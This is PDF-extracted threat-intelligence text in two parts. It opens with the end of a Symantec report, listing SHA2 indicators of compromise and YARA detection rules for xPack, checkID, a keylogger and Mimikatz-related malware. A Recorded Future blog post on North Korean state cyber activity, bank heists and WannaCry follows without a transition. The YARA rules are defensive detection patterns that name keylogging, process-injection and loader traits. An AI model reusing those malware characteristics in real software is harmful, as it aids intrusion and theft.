Type IOC Description SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID SHA2 12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2 xPack SHA2 e4a15537f767332a7ed08009f4e0c5a7b65e8cbd468eb81e3e20dc8dfc36aeed xPack SHA2 e488f0015f14a0eff4b756d10f252aa419bc960050a53cc04699d5cc8df86c8a xPack SHA2 9456d9a03f5084e44f8b3ad936b706a819ad1dd89e06ace612351b19685fef92 xPack SHA2 730552898b4e99c7f8732a50ae7897fb5f83932d532a0b8151f3b9b13db7d73c xPack SHA2 de9bd941e92284770b46f1d764905106f2c678013d3793014bdad7776540a451 xPack SHA2 390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66 xPack SHA2 4331d1610cdedba314fc71b6bed35fea03bc49241eb908a70265c004f5701a29 xPack SHA2 9b5168a8f2950e43148fe47576ab3ac5b2cfa8817b124691c50d2c77207f6586 xPack SHA2 a74cb0127a793a7f4a616613c5aae72142c1166f4bb113247e734f0efd48bdba xPack SHA2 e5259b6527e8612f9fd9bba0b69920de3fd323a3711af39f2648686fa139bc38 xPack SHA2 eb7a23136dc98715c0a3b88715aa7e936b88adab8ebae70253a5122b8a402df3 xPack SHA2 789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed Keylogger https://www.broadcom.com/support/security-center/protection-bulletin 4/7 Type IOC Description SHA2 3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d Keylogger SHA2 443f4572ed2aec06d9fb3a190de21bfced37c0cd2ee03dd48a0a7be762858925 JpgRun SHA2 f4534e04caced1243bd7a9ce7b3cd343bf8f558982cbabff93fa2796233fe929 JpgRun SHA2 e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2 EHAGBPSL SHA2 0bbb477c1840e4a00d0b6cd3bd8121b23e1ce03a5ad738e9aa0e5e0b2e1e1fea EHAGBPSL SHA2 55636c8a0baa9b57e52728c12dd969817815ba88ec8c8985bd20f23acd7f0537 EHAGBPSL SHA2 2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632 EHAGBPSL SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID SHA2 29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78 checkID SHA2 f7cab241dac6e7db9369a4b85bd52904022055111be2fc413661239c3c64af3d checkID SHA2 2aa52776965b37668887a53dcd2374fc2460293b73c897de5d389b672e1313ff checkID SHA2 79a37464d889b41b7ea0a968d3e15e8923a4c0889f61410b94f5d02458cb9eed checkID SHA2 48d41507f5fc40a310fcd9148b790c29aeb9458ff45f789d091a9af114f26f43 NetSessionEnum SHA2 f01a4841f022e96a5af613eb76c6b72293400e52787ab228e0abb862e5a86874 MMC SHA2 e1a0c593c83e0b8873278fabceff6d772eeaaac96d10aba31fcf3992bc1410e5 MMC SHA2 dfee6b3262e43d85f20f4ce2dfb69a8d0603bb261fb3dfa0b934543754d5128b Mimikatz Yara Rules rule xpack_loader  meta: author  Symantec, a division of Broadcom hash  12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2 strings: s1  Length or Hash destoryed wide fullword s2  tag unmatched wide fullword s3  File size mismatch wide fullword s4  DESFile wide fullword p1  fomsal.
Properties.
Resources.resources wide fullword p2  xPack.
Properties.
Resources.resources wide fullword p3  foslta.
Properties.
Resources.resources wide fullword condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and (2 of (s) or any of (p))  rule xpack_service  5/7 meta: author  Symantec, a division of Broadcom hash  390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66 strings: s1  C:\\Windows\\inf\\wdnvsc.inf wide fullword s2  PackService wide fullword s3  xPackSvc wide fullword s4  eG5h8V wide fullword condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and 3 of them  rule EHAGBPSL_loader  meta: author  Symantec, a division of Broadcom hash  e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2 hash  2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632 strings: s1  45 00 00 00 48 00 00 00 41 00 00 00 47 00 00 00 42 00 00 00 50 00 00 00 53 00 00 00 4C // EHAGBPSL s2  74 00 00 00 61 00 00 00 72 00 00 00 57 00 00 00 6F 00 00 00 6B // tarWok b1  bnRtZ3M fullword // ntmgs b2  TmV0d29yayBNYW5hZ2VtZW50IFNlcnZpY2U fullword // Network Management Service b3  UHJvdmlkZXMgYWJpbGl0eSB0byBtYW5hZ2UgbmV0d29yayBvdmVyIHRoZSBuZXQgcHJvdG9jb2wu fullword // Provides ability to manage network over the net protocol.
b4  bnRtZ3MuZG // ntmgs.dll / ntmgs.dat b5  aW1nMS5qcGc fullword // img1.jpg c1  Wscms.nls fullword c2  Wscms.dat fullword c3  Wscms.dll fullword c4  Wscms.ini fullword c5  Images01.jpg fullword e1  StartWork fullword e2  ServiceMain fullword h1  DD 9C BD 72 // CreateRemoteThread h2  C0 97 E2 EF // OpenProcess h3  32 6D C7 D5 // RegisterServiceCtrlHandlerA 6/7 h4  A1 6A 3D D8 // WriteProcessMemory condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and all of (e) and (all of (s) or any of (b) or 3 of (c) or all of (h))  rule keylogger  meta: author  Symantec, a division of Broadcom hash  3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d hash  789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed strings: m1  BKB_Test fullword m2  KLG_sd76bxds1N fullword k1  [d/02d/02d 02d:02d:02d K-E-Y-L-O-G] fullword k2  [d/02d/02d 02d:02d:02d C-L-I-P-B-D] fullword k3   Title--s--  fullword k4  ImpersonateLoggedOnUser Error(d) fullword f1  55 73 65 72 ??
?? ?
?
00 00 00 ??
?? ?
?
6B 65 79 2E // Userkey.
f2  55 73 65 72 ??
?? ?
?
00 00 00 ??
?? ?
?
64 61 74 2E // Userdat.
condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and (2 of (k) or (any of (m) and any of (f)))  rule checkid_loader  meta: author  Symantec, a division of Broadcom description  BlackHole/BlackSwan / QuasarRAT/xClient loader hash  29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78 strings: s1  Call s.s(\s\)  d fullword wide s2  Assembly::CreateInstance failed w/hr 0x08lx fullword wide s3  checkID s4  NULL  checkID hMutex fullword s5  checkID Mutex ERROR_ALREADY_EXISTS fullword s6  dllmain mutex ERROR_ALREADY_EXISTS fullword 7/7 x1  xClient.
Program fullword wide x2  LoadPayload fullword m1  SFZJ_Wh16gJGFKL ascii wide m2  d5129799-e543-4b8b-bb1b-e0cba81bccf8 ascii wide m3  USA_HardBlack ascii wide b1  BlackHole.
Slave.
Program fullword wide b2  NuGet\\Config wide b3  VisualStudio.cfi wide p  E1 F6 3C AC AF AC AC AC A8 AC AC AC 53 53 AC AC 14 t  0sNksjd1czZ1drJktPO24aEjISMtsvLy5LJzNjdyNnL1dLY08uS39PRhoSMhIy2jYyPkomNko2IjJKEiIaEjISM condition: uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550 and 2 of (s) and (all of (x) or any of (m) or all of (b) or p or t)  The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
North Korea Is Not Crazy www.recordedfuture.com /north-korea-cyber-activity/ The Recorded Future Blog by Insikt Group on June 15, 2017 Intent is critical to comprehending North Korean cyber activity.
Understanding North Korean national objectives, state organizations, and military strategy are key to, and often missing from, discussions about attributing North Korean cyber activity.
Frequently, senior political leaders, cyber security professionals, and diplomats describe North Korean leaders or their respective actions as crazy, erratic, or not rational.
This is not the case.
When examined through the lens of North Korean military strategy, national goals, and security perceptions, cyber activities correspond to their larger approach.
Recorded Future research reveals that North Korean cyber actors are not crazy or irrational: they just have a wider operational scope than most other intelligence services.
This scope comprises a broad range of criminal and terrorist activity, including illegal drug manufacturing and selling, counterfeit currency production, bombings, assassination attempts, and more.
The National Security Agency (NSA) has attributed the April WannaCry ransomware attacks to North Koreas intelligence service, the Reconnaissance General Bureau (RGB).
We assess that use of ransomware to raise funds for the state would fall under both North Koreas asymmetric military strategy and self-financing policy, and be within the broad operational remit of their intelligence services.
Background 1/9 https://www.recordedfuture.com/north-korea-cyber-activity/ http://www.washingtontimes.com/news/2017/apr/7/john-mccain-applauds-airstrikes-warns-biggest-thre/ https://www.wired.com/2014/12/sony-north-korea-hack-experts-disagree/ http://www.cnn.com/2017/03/08/politics/nikki-haley-north-korea-kim-jong-un/ https://www.washingtonpost.com/world/national-security/the-nsa-has-linked-the-wannacry-computer-worm-to-north-korea/2017/06/14/101395a2-508e-11e7-be25-3a519335381c_story.html?hpidhp_hp-more-top-stories_northkoreacyber744pm3Ahomepage2Fstoryutm_term.c7e1181476fd https://www.recordedfuture.com/wannacry-ransomware-analysis/ https://www.recordedfuture.com/assets/north-korea-cyber-activity-2.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-3.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-4.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-5.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-6.jpg https://www.recordedfuture.com/assets/north-korea-cyber-activity-7.jpg The Democratic Peoples Republic of Korea (DPRK or North Korea) is a hereditary, Asian monarchy with state, party, and military organizations dedicated to preserving the leadership of the Kim family.
North Korea is organized around its communist party, the Korean Workers Party (KWP), and the military, the Korean Peoples Army  (KPA).
The Reconnaissance General Bureau (RGB), also known as Unit 586, was formed in 2009 after a large restructure of several state, military, and party intelligence elements.
Subordinate to the KPA, it has since emerged as not just the dominant North Korean foreign intelligence service, but also the center for clandestine operations.
The RGB and its predecessor organizations are believed responsible for a series of bombings, assassination attempts, hijackings, and kidnappings commencing in the late 1950s, as well as a litany of criminal activities, including drug smuggling and manufacturing, counterfeiting, destructive cyber attacks, and more.
Satellite Image of the RGB Southern Operations Building in Pyongyang.
(
Source) As North Koreas lead for clandestine operations, the RGB is also likely the primary cyber operations organization as well.
As described by the Center for Strategic and International Studies in 2015 report: The RGB is a hub of North Korean intelligence, commando, and sabotage operations.
The RGB history of its leadership and component parts paints a picture of a one-stop shop for illegal and clandestine activity conducted outside the DPRK.
The RGB and, prior to 2009 its component parts, have been involved in everything from maritime-inserted commando raids to abductions and spying.
For the RGB to be in control of cyber assets indicates that the DPRK intends to use these assets for provocative purposes.
The RGB probably consists of seven bureaus six original bureaus and a new seventh (Bureau 121) that was likely added sometime after 2013.
RGB organizational chart, compiled with information from The Korea Herald, 38 North, and CSIS.
Bureau 121 is probably North Koreas primary cyber operations unit, but there are other units within the KPA and KWP that may also conduct cyber operations.
Attribution of specific cyber activity to the North Korean state or intelligence organizations is difficult, and up until 2/9 http://www.korea-dpr.com/ https://books.google.com/books?idqoZx6hOCNukCprintsecfrontcoverdqUndertheLovingCareoftheFatherlyLeader:NorthKoreaandtheKimDynastyhlensaXved0ahUKEwiZtuDu9pnUAhVB5yYKHX2uCokQ6AEIJjAAvonepageqffalse http://www.korea-dpr.info/lib/109.pdf https://cdn.loc.gov/master/frd/frdcstdy/no/northkoreacountr00word/northkoreacountr00word.pdf http://www.koreaherald.com/view.php?ud20100427000663 http://38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf http://www.koreaherald.com/view.php?ud20100526000675 https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf https://nkleadershipwatch.files.wordpress.com/2009/10/operationsdepartment.pdf http://www.newyorker.com/news/news-desk/north-koreas-abduction-project http://www.38northdigitalatlas.org/ http://www.csis.org/ https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf http://www.38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf http://www.koreaherald.com/view.php?ud20100526000675 http://www.38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf http://www.bbc.co.uk/newsbeat/article/32926248/bureau-121-north-koreas-elite-hackers-and-a-tasteful-hotel-in-china https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf http://uk.reuters.com/article/uk-northkorea-cyber-usa-idUKKBN1942LW recently, circumstantial.
On June 12, US-CERT released a joint technical alert that summarized analysis conducted by the U.S. Department of Homeland Security (DHS) and FBI on the tools and infrastructure used by cyber actors of the North Korean government to target the media, aerospace, financial, and critical infrastructure sectors in the United States and globally.
This alert marked the first time the U.S. government linked threat actor groups and malware long-suspected to be utilized by North Korean state-sponsored actors with the with North Korean government itself.
DHS and FBI explicitly identified two threat actor groups, Lazarus Group and Guardians of Peace, and three tools, Destover, Wild Positron/Duuzer, and Hangman, as used by the North Korean government.
While the FBI and DHS identified many indicators of compromise, Yara rules, and network signatures, the report did not provide any evidence supporting the attribution to the North Korean government or details on which organization or unit might be responsible.
Lazarus Group, now known to be North Korean state-sponsored actors, have been conducting operations since at least 2009, with a DDoS attack on U.S. and South Korean websites using the MYDOOM worm.
Until late 2015, Lazarus Group cyber activities primarily focused on South Korean and U.S. government and financial organizations, including destructive attacks on South Korean banking and media sectors in 2013 and highly publicized attack on Sony Pictures Entertainment in 2014.
Timeline of Lazarus Group cyber operations since 2009.
In early 2016, a new pattern of activity began to emerge in an unusual operation against the Bangladesh Central Bank.
Actors obtained the legitimate Bangladesh Central Bank credentials for the SWIFT interbank messaging system and used them to attempt to transfer 951 million of the banks funds to accounts around the world.
A few simple errors by the actors (and some pure luck) allowed central bankers to prevent the transfer of or recover most of the funds, but the attackers ended up getting away with nearly 81 million.
The National Security Agency ( NSA) has attributed this attack on the Bangladesh Central Bank to the North Korean state, however, the investigation within the U.S. government is still ongoing.
Threat analysts from numerous companies have attributed this attack and subsequent attacks on banks around the world through early 2017 to the 3/9 http://www.group-ib.com/lazarus.html https://www.us-cert.gov/ https://www.us-cert.gov/ncas/alerts/TA17-164A https://www.symantec.com/connect/blogs/duuzer-back-door-trojan-targets-south-korea-take-over-computers https://www.fireeye.com/blog/threat-research/2015/09/zero-day_hwp_exploit.html https://www.us-cert.gov/sites/default/files/publications/TA-17-164A_csv.csv https://www.us-cert.gov/ncas/tips/ST04-015 https://www.theguardian.com/technology/2009/jul/08/cyber-war-mydoom-virus-attack http://blog.trendmicro.com/trendlabs-security-intelligence/mydoom-code-re-used-in-ddos-on-u-s-and-south-korean-sites/ https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf https://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf https://www.sans.org/reading-room/whitepapers/warfare/tracing-lineage-darkseoul-36787 http://english.chosun.com/site/data/html_dir/2013/01/17/2013011700661.html https://www.operationblockbuster.com/resources/ https://www.swift.com/ https://www.wired.com/2016/05/insane-81m-bangladesh-bank-heist-heres-know/ http://www.reuters.com/investigates/special-report/cyber-heist-federal/ https://www.nytimes.com/2016/05/01/business/dealbook/hackers-81-million-sneak-attack-on-world-banking.html http://foreignpolicy.com/2017/03/21/nsa-official-suggests-north-korea-was-culprit-in-bangladesh-bank-heist/ http://www.group-ib.com/lazarus.html https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf Lazarus Group (which DHS, FBI, and NSA have all linked to the North Korean government over the past three days).
According to a Washington Post report published on June 14, the NSA has compiled an intelligence assessment on the WannaCry campaign and has attributed the creation of the WannaCry worm to cyber actors sponsored by the RGB.
This assessment, which was apparently issued internally last week, cited moderate confidence in the attribution and ascribed the April campaign as an attempt to raise revenue for the regime.
The attacks on the Bangladesh Central Bank, additional banks around the world, and the WannaCry ransomware campaign represent a new phase in North Korean cyber operations, one that mirrors the phases of violence and criminality North Korea has passed through over the past 50 years.
We will examine these phases later in this post.
The broad operational range of known and suspected North Korean cyber operations has for years raised questions about the rationality of North Korean leadership, possible motivations and benefits for the country from this type of cyber activity, and why North Korea would deny responsibility for these attacks.
Recorded Future research addresses these questions by examining the whole picture and pairing geopolitical and strategic intelligence with threat intelligence.
Analysis Digging into some of these past North Korean activities is important to add context to the cyber operations we have tracked since 2009.
North Koreas engagement in a wide range of criminal and terrorist activities is part of its broad national strategy, which employs asymmetric operations and surprise attacks to overcome North Koreas conventional national power deficit.
According to an interview with a former U.S. State Department official, and North Korea expert, in Vanity Fair, crime, in other words, has become an integral part of North Koreas economy.
It not only pays, it plays to their strategy of undermining Western interests.1 It is critical to place North Koreas criminal and cyber activity in the context of its larger military and national security strategies which support two primary objectives: 1.
Perpetuation of the Kim regime, 2.
Unification of the Korean peninsula under North Korean leadership.
A 2016 University of Washington study succinctly summarizes North Koreas asymmetric military strategy: Since the end of the Korean War, North Korea has developed an asymmetric military strategy, weapons, and strength because its conventional military power is far weaker than that of the U.S. and South Korea.
Thus, North Korea has developed three military strategic pillars: surprise attack quick decisive war mixed tactics.
First, its surprise attack strategy refers to attacking the enemy at an unexpected time and place.
Second, its quick decisive war strategy is to defeat the South Korean military before the U.S. military or international community could intervene.
Lastly, its mixed tactics strategy is to use multiple tactics at the same time to achieve its strategic goal.
Despite their near-constant tirade of bellicose rhetoric and professions of strength, North Korea fundamentally views the world from a position of weakness, and has developed a national strategy that utilizes its comparative strengths complete control over a population of 25 million people and unflinching, amoral devotion to the Kim hereditary dynasty.
In this context, criminality, terrorism, and destructive cyber attacks all fit within the North Korean asymmetric military strategy which emphasizes surprise attacks and mixed tactics.
The criminality and cyber attacks also have the added bonus of enabling North Korea to undermine the very international economic and political systems that 4/9 https://www.washingtonpost.com/world/national-security/the-nsa-has-linked-the-wannacry-computer-worm-to-north-korea/2017/06/14/101395a2-508e-11e7-be25-3a519335381c_story.html?hpidhp_hp-more-top-stories_northkoreacyber744pm3Ahomepage2Fstoryutm_term.9770bf40c050 http://ssi.armywarcollege.edu/pubs/parameters/Articles/97spring/jablonsk.htm https://www.cnas.org/people/david-asher http://www.vanityfair.com/style/2009/09/office-39-200909 https://ssi.armywarcollege.edu/pdffiles/PUB771.pdf https://jsis.washington.edu/news/north-korea-cyber-attacks-new-asymmetrical-military-strategy/ https://kcnawatch.co/search/?qUnitedStates https://www.cia.gov/library/publications/the-world-factbook/geos/kn.html constrain and punish it.
Evidence is mounting that sanctions, international pressure, and possibly increased enforcement by China are beginning to take their toll on the North Korean economy and in particular, North Korea intelligence agents ability to procure goods for regime leadership.
A May 2017 report from the Korea Development Institute concluded that North Koreas black market had helped the nation endure the impacts of the international sanctions last year.
Detailed below are numerous non-cyber operations that have been conducted by the predecessor organizations of the RGB.
The violence, destruction, and criminal breadth of these operations reveal the broad operational scope of these intelligence services and the context in which they are conducted.
This data further reveals a history of denials by North Korea of responsibility for operations dating back to the 1960s, putting into context the current leaderships denials of cyber operations.
Note The activities detailed below are intended to be illustrative, not an exhaustive list, of the broad operational remit for North Korean operations.
Blue House Raid One of the first major attacks on South Korea since the armistice was declared after the Korean War in 1953 occurred in 1968.
The so-called Blue House Raid was an assassination attempt on then-President Park Chung Hee by 31 North Korean special operations soldiers on the night of January 20, 1968.
The 31 North Korean soldiers crossed the DeMilitarized Zone (DMZ) on foot and managed to get within a half mile of the Presidents residence (the so-called Blue House) before being exposed.
Upon discovery the North Korean soldiers engaged in a series of firefights with South Korean forces 68 South Koreans and three U.S. soldiers were killed.
Most of the North Korean soldiers were killed in the eight days after the raid two made it back across the DMZ and one was captured.
The captured North Korean soldier claimed during a press conference that they had come to cut Park Chung Hees throat.
That account was disputed during a secret meeting in 1972 between a South Korean intelligence official and the then-Premier Kim Il-sung.
Kim claimed his government had nothing to do with the raid and did not even know about it at the time.
5/9 https://www.treasury.gov/resource-center/sanctions/Programs/Pages/nkorea.aspx https://www.treasury.gov/resource-center/sanctions/Programs/Documents/2321.pdf https://www.cfr.org/backgrounder/china-north-korea-relationship http://freekorea.us/2016/06/28/n-korean-counterfeiting-surges-as-bureau-39s-checks-bounce/sthash.2YDy2cs3.dpbs http://www.kdi.re.kr/kdi_eng/research/research_view.jsp?pub_no15221pg1temaG0pp10 http://www.kdi.re.kr/ https://www.archives.gov/historical-docs/todays-doc/?dod-date727 https://www.nknews.org/2013/01/when-nk-commandos-tried-to-assassinate-south-koreas-president/ https://nkmonitor.wordpress.com/2008/01/21/remembering-the-blue-house-raid/ http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2885337 http://oai.dtic.mil/oai/oai?verbgetRecordmetadataPrefixhtmlidentifierADA461685 A captured North Korean soldier after the Blue House Raid.
(
Source) 1983 Rangoon Bombing On October 9, 1983, three North Korean soldiers attempted to assassinate then-South Korean President Chun Doo Hwan while on a trip to Myanmar.
A bomb at a mausoleum the President was scheduled to visit detonated early, killing 21 people, including the Korean Foreign Minister and Deputy Prime Minister.
During the trial for the bombers, testimony revealed that the North Korean agents used a North Korean trading vessel to travel to Myanmar and the home of a North Korean diplomat to prepare the bombs.
In a classified report (report was declassified in 2000) ten days after the bombing, CIA analysts laid out a strong case that North Korea was responsible for the attack despite official denials of involvement from the official North Korean news agency.
North Korean state media even accused President Chun of using the attack to increase tensions on the peninsula.
South Korean officials wait at the mausoleum in Rangoon minutes before the bomb detonated.
(
Source) Korean Air Flight 858 Bombing On November 29, 1987, two North Korean intelligence agents boarded and placed a bomb on a Korean Air flight from Baghdad, Iraq to Seoul.
During a layover in Abu Dhabi, the two agents de-planed but left the bomb (disguised as a radio) onboard.
The bomb detonated and the plane crashed in the jungle on the Thai-Burma border and killed 6/9 https://archive.org/details/BlueHoweRaid1968 http://www.time.com/time/magazine/article/0,9171,952196,00.html http://english.yna.co.kr/Engnews/20060223/480100000020060223092719E9.html http://oai.dtic.mil/oai/oai?verbgetRecordmetadataPrefixhtmlidentifierADA461685 http://www.upi.com/Archives/1983/12/09/North-Koreans-sentenced-to-death-for-Burmese-bombing/4439439794000/ https://www.washingtonpost.com/archive/politics/1983/12/03/north-korean-leaders-son-blamed-for-rangoon-bombing/ddec34cc-9c12-4fc6-bf75-36057091aa4e/?utm_term.29ddcb686467 https://www.cia.gov/library/readingroom/docs/DOC_0000408056.pdf http://www.upi.com/Archives/1983/10/12/More-than-1-million-mourners-summoned-by-the-wail/2380434779200/ http://archives.chicagotribune.com/1983/10/13/page/29/article/a-million-koreans-mourn-bomb-victims http://english.chosun.com/site/data/html_dir/2007/04/25/2007042561013.html http://www.koreatimes.co.kr/www/news/nation/2012/07/113_115434.html http://articles.latimes.com/1990-04-13/news/mn-1259_1_north-korean-bombed http://articles.latimes.com/1988-01-15/news/mn-24248_1_north-korea http://www.nytimes.com/1987/12/01/world/korea-suspects-bomb-downed-jet.html all 115 people on board.
One of the North Korean intelligence agents, who was captured alive, later revealed that the bombing was meant to discourage foreign participation in the 1988 Olympic Games in Seoul and create unrest in South Korea.
The agent also confessed that the order to bomb the plane had come directly from then North Korean leader Kim Il-Sung or his son, later leader Kim Jong-il.
Transition to Criminality By the mid-1990s, North Korea had generally shifted from acts of terrorism to criminality.
While North Korea had held a policy of self-financing,2 in which embassies and diplomatic outposts were forced to earn money for their own operations typically via engaging in illicit activity such as smuggling, since the late 1970s, it was during the 1990s that this criminality became a business of the entire state and not just the diplomatic establishment.
A number of factors affected this shift, including the end of the Cold War and the withdrawal of crucial aid from benefactors (like the Soviet Union and China), a crippling famine, a leadership transition, and years of international condemnation and punitive actions.
A 2015 report from the Committee for Human Rights in North Korea characterizes North Koreas involvement in illicit economic activities into three separate phases.
First, from the origins of North Korea state involvement in the 1970s through mid-1990s, from the mid-90s through the mid-2000s, and approximately 2005 to today.
The RGB, its predecessor organizations, and other military and intelligence services support these illicit activities.
Illegal Drug Manufacturing and Smuggling North Korea has had a state-sponsored drug smuggling (and later manufacturing as well) program since the mid- 1970s.
This vast enterprise has been supported by the military, intelligence services, and diplomats and has often included working with criminal organizations such as the Taiwanese gang United Bamboo, Philippine criminal syndicates, and Japanese organized crime.3 Academic research indicates that North Korea has developed extensive covert smuggling networks and capabilities primarily to provide a means of hard currency for the Kim regime.
The North Korean state actively cultivates opium poppy and produces as much as 50 metric tons of raw opium per year.
To put that in context, the United Nations estimates that Afghanistan produced 6,400 tons of raw opium in 2014, which makes North Korea a minor producer in comparison.
According to a Congressional Research Service report, government processing labs have the capacity to process twice that amount into opium or heroin each year.
Experts estimate that North Korea brings in as much as 550 million to 1 billion  annually from illicit economic activities.
Counterfeiting One of the more widely reported North Korean criminal enterprises has been the production of counterfeit American 100 (and 50) bills, or so-called supernotes.
In a 2006 Congressional testimony, the U.S. Secret Service made a definitive link between the production of the supernote and the North Korean state.
According to interviews in a 2006 New York Times Magazine article, North Korean state support for counterfeiting U.S. currency dates back to a directive issued by Kim Jong-il in the mid-1970s.
Original counterfeiting involved bleaching 1 bills and reprinting them as 100 notes and evolved over time as North Koreas international isolation grew and its economy collapsed.
7/9 http://articles.latimes.com/1988-01-15/news/mn-24248_1_north-korea http://www.bbc.com/news/world-asia-22244337 https://books.google.com/books?idfqyxDQAAQBAJprintsecfrontcoverdqAvoidingtheApocalypse:TheFutureoftheTwoKoreashlensaXved0ahUKEwjL0sOug6fUAhVK3IMKHdjYDAkQ6AEIJjAAvonepageqAvoiding the Apocalypse3A The Future of the Two Koreasffalse http://www.journals.uchicago.edu/doi/pdfplus/10.1086/452523 https://www.usip.org/publications/1994/12/north-korean-nuclear-challenge-post-kim-il-sung-phase-begins https://www.armscontrol.org/factsheets/dprkchron https://www.treasury.gov/resource-center/sanctions/Programs/pages/nkorea.aspx https://www.hrnk.org/uploads/pdfs/SCG-FINAL-FINAL(1).pdf https://www.hrnk.org/ http://38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf https://scholar.harvard.edu/files/greitens/files/Chestnut - Illicit Activity and Proliferation - North Korean Smuggling Networks.pdf http://oldsite.nautilus.org/archives//DPRKbriefingbook/terrorism/bg1679.htmlpgfId-1049515 http://foreignpolicy.com/2008/05/08/the-list-the-worlds-most-dangerous-gangs/ https://www.theguardian.com/uk-news/2016/jun/04/uk-man-jailed-for-15-years-in-us-for-north-korean-drug-plot http://s3.amazonaws.com/academia.edu.documents/39150466/East_Asian_intelligence_and_organized_crime_An_Introduction.pdf?AWSAccessKeyIdAKIAIWOWYYGZ2Y53UL3AExpires1496770312SignaturelgMjigalWUpRsnKrHalQxbbXRQM3Dresponse-content-dispositioninline3B filename3DEast_Asian_Intelligence_and_Organized_Cr.pdf https://books.google.com/books/about/Red_Rogue.html?id24ufAAAAMAAJ https://www.hrnk.org/uploads/pdfs/SCG-FINAL-FINAL(1).pdf https://csis-prod.s3.amazonaws.com/s3fs-public/publication/160809_Korean_Special_Asymmetric_Paramilitary_Forces.pdf https://www.unodc.org/documents/crop-monitoring/Afghanistan/Afghan-opium-survey-2014.pdf https://fas.org/sgp/crs/row/RL33885.pdf https://csis-prod.s3.amazonaws.com/s3fs-public/publication/160809_Korean_Special_Asymmetric_Paramilitary_Forces.pdf http://www.slate.com/articles/news_and_politics/explainer/2005/08/what_are_supernotes.html https://www.gpo.gov/fdsys/pkg/CHRG-109shrg28241/pdf/CHRG-109shrg28241.pdf http://www.nytimes.com/2006/07/23/magazine/23counterfeit.html Supernote and a real 100 bill.
(
Source) Distribution and production of the supernotes followed a similar pattern to North Korean-produced narcotics, utilizing global criminal syndicates, state and intelligence officials, and legitimate businesses.
North Korea has repeatedly denied involvement in counterfeiting or any illegal operations.
A History of Denial As outlined above, North Korea has a history of denying responsibility for their violent, illicit, and destructive operations.
This includes denying involvement in the Blue House Raid, the Rangoon Bombing, all criminal and illicit activity including counterfeiting U.S. dollars, the Sony Pictures Entertainment attack, and the Bangladesh Central Bank robbery.
Some scholars argue that acts such as counterfeiting a nations currency constitutes a casus belli, an action or event that justifies war, and others argue that international legal norms and constructs do not adequately address what constitutes casus belli in the cyber domain.
Both of these arguments, as well as an understanding of North Koreas asymmetric military strategy, underscore why North Korea would not want to claim responsibility for many of these destructive and violent acts.
Acknowledging state responsibility could provide the United States or South Korea with a valid casus belli, resulting in a war that North Korea would most certainly lose.
Even if the evidence is strong, official government denials create uncertainty and give North Korea space to continue operations.
Impact What has been missing from the discussion about whether North Korea is responsible for the WannaCry campaign and the bank heists has been the why  the geopolitical and strategic intelligence that give CSOs, security professionals, and threat analysts context for the activity they are seeing.
As of last week the NSA and several companies, including Symantec and Kaspersky, have linked the recent WannaCry ransomware campaign to North Korea Recorded Future assesses that this type of cyber activity would fall within both North Koreas self-financing policy and asymmetric military strategy.
